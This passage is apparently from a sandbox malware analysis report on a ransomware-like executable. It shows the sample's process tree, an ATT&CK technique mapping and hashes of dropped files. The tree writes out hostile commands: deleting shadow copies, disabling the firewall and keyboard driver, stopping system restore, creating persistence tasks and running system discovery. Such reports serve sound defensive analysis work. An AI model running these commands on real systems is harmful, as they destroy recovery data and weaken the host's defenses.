C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5960 -
C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe"3⤵PID:1424
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4428
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5948
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1000
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1280
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:2388
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4876
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:6052
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6072
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2060
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3928
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5972
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5368
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4000 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1424
-
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1088
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5048
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4964
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2352
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4396
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a24855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4904
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4168
-
C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe1⤵PID:4236
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3872
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3336
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 17b8d29c08c0dc7e80f2268ff0974730cdeea1e3fbbd751c4dfe1eb5602e7943
- MD5 47cbb38ba5b0e1f84c9643fe01ddaaee
- SHA1 6f50b3e85a315babf067d20c700a0b77c2d8910b
- SHA512 c1cf6885bff287d5b3e23c9bb4ff8724dfab284c7300866fd5d0120971f49efb6d6540f699bbec3abc0653fe4778e694e2170fdfcb25f809a856bf625476ff22
- SSDEEP 1536:C2Rveo0zwn1+7cRMa3EJSg5QAtMgIa9TFBJA8ezply9ueJzRBDEI81tse8q4u:CgvQzwnA81EJXrN2zpl6uUzRRl81tse9
- TLSH T19D6329334B23FDC5677F3D80F06439410C883A6747B5A768FBC90AA939A5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10qijzmu.quf.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 240B
- SHA256 445a0c4a8707ea2fc511fbe84c310ad01787a2b058f1fc774b6492253e7d28bd
- MD5 5734b7bb429c3d2359217ca36f422bed
- SHA1 e78f17a8ece03d09d94e8c555683065ea206be85
- SHA512 9858892e3d07dc3bda084bfa68600689f8aeb4d0f2c36c722672b49ee0d97da959e79484b90b2ba9e62304c4171c10fc6c93b5d3bf5616a9793552103eafd6cb
- TLSH T197D0A78BB14DC6A90001527B82F3DE8DF5B548293B57BE608AA5DD4E329089589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 241B
- SHA256 0402e71e92eb43d406733f56e3d783b6c1ec5efd58fba68298a393e2f10354ae
- MD5 89c2463755b919f6f4f3c45a42e1f7bc
- SHA1 ed12d89c74ed136c9bbcc662c0f613c19407f898
- SHA512 f7820652cf3e785714f231ae7c95717272f34fa6048d60e7befa82b4e60030d038386411d6b3d8628f5c7aabf54c55ba3edaa82270ce1c74f4af5b9bd1a012b4
- TLSH T12BD0A78BB14DC6A90001527B81F3DE8DF6E648293B57BE609AA5DD4E328089589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 c6f0263bda761411130ab57ff3c1cc3068bd44bf4f6613f117df690958418051
- MD5 ea650128fdc3f2333d942df574d7d74b
- SHA1 d2f487008f02758920f176223775b5dd04df2ebe
- SHA512 c1089be4e1a69eaa23e52e927b0e19d23e13e69e5a36e20721197e64f7e5e4e33ff22011b00b2f652fc26aadb0415e8203880ff7c86a61300460791ee7fed66b
- SSDEEP 1536:i2Rveo0zwn1+7cRMa3EJSg5QAtMgIa9TFBJA8ezply9ueJzRBDEI81tse8q4P:igvQzwnA81EJXrN2zpl6uUzRRl81tseK
- TLSH T166632A334B23FDC5677F3D80F06439410C883A6747B5A768FBC90A6939A5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 8f95392cf713150d070913a32026dba8a3983a6960708e642e2e07171f96614f
- MD5 8c7c0a2b6759349529f6313ab0885a43
- SHA1 6ae9231f440a8aff16859c6b58697d2e5127532b
- SHA512 c8cab075320899f71380606dc12c293a729b23ac8be476c8024e318015e5886b6568cbaf286b7223019d46d3fda9adc4c810000896d33f4cfd1a3b6eda76945b
- SSDEEP 768:DrVZZ6zs0htCDX291DUYTq6/NKPzfX/fvb4L:jZ6HhADX291oB6GP/fvb4L
- TLSH T1A133F64437ED4526D2BF9EBE89F251118331F4639C23DB4E1AD8459E19F3B008CA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH